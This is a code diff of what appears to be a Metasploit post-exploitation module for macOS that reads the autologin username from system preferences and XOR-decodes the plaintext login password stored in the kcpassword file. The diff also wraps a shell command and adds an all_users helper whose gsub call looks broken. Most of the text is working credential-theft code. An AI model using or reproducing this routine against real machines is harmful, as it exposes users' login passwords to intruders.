@@ -38,22 +38,24 @@ def initialize(info={})
38
38
def run
39
39
# ensure the user is root (or can read the kcpassword)
40
40
if not user == 'root'
41
- fail_with "Root privileges required to read kcpassword"
41
+ fail_with "Root privileges are required to read kcpassword file "
42
42
end
43
43
44
44
# read the autologin account from prefs plist
45
- autouser = cmd_exec ( 'defaults read /Library/Preferences/com.apple.loginwindow "autoLoginUser" "username"' )
45
+ read_cmd = "defaults read /Library/Preferences/com.apple.loginwindow autoLoginUser username"
46
+ autouser = cmd_exec ( "/bin/sh -c '#{ read_cmd } 2> /dev/null'" )
47
+
46
48
if autouser . present?
47
49
print_status "User #{ autouser } has autologin enabled, decoding password..."
48
50
else
49
- fail_with "No users on this machine have autologin enabled. "
51
+ fail_with "No users on this machine have autologin enabled"
50
52
end
51
53
52
54
# kcpass contains the XOR'd bytes
53
55
kcpass = read_file ( kcpassword_path )
54
56
key = AUTOLOGIN_XOR_KEY
55
57
56
- # decoding routing , slices into 11 byte chunks and XOR's each chunk
58
+ # decoding routine , slices into 11 byte chunks and XOR's each chunk
57
59
decoded = kcpass . bytes . to_a . each_slice ( key . length ) . map do |kc |
58
60
kc . each_with_index . map { |byte , idx | byte ^ key [ idx ] } . map ( &:chr ) . join
59
61
end . join . sub ( /\x00 .*$/ , '' )
@@ -78,4 +80,8 @@ def kcpassword_path
78
80
def user
79
81
@user ||= cmd_exec ( 'whoami' ) . chomp
80
82
end
83
+
84
+ def all_users
85
+ cmd_exec ( 'ls /Users' ) . gsub ( // )
86
+ end
81
87
end
0 commit comments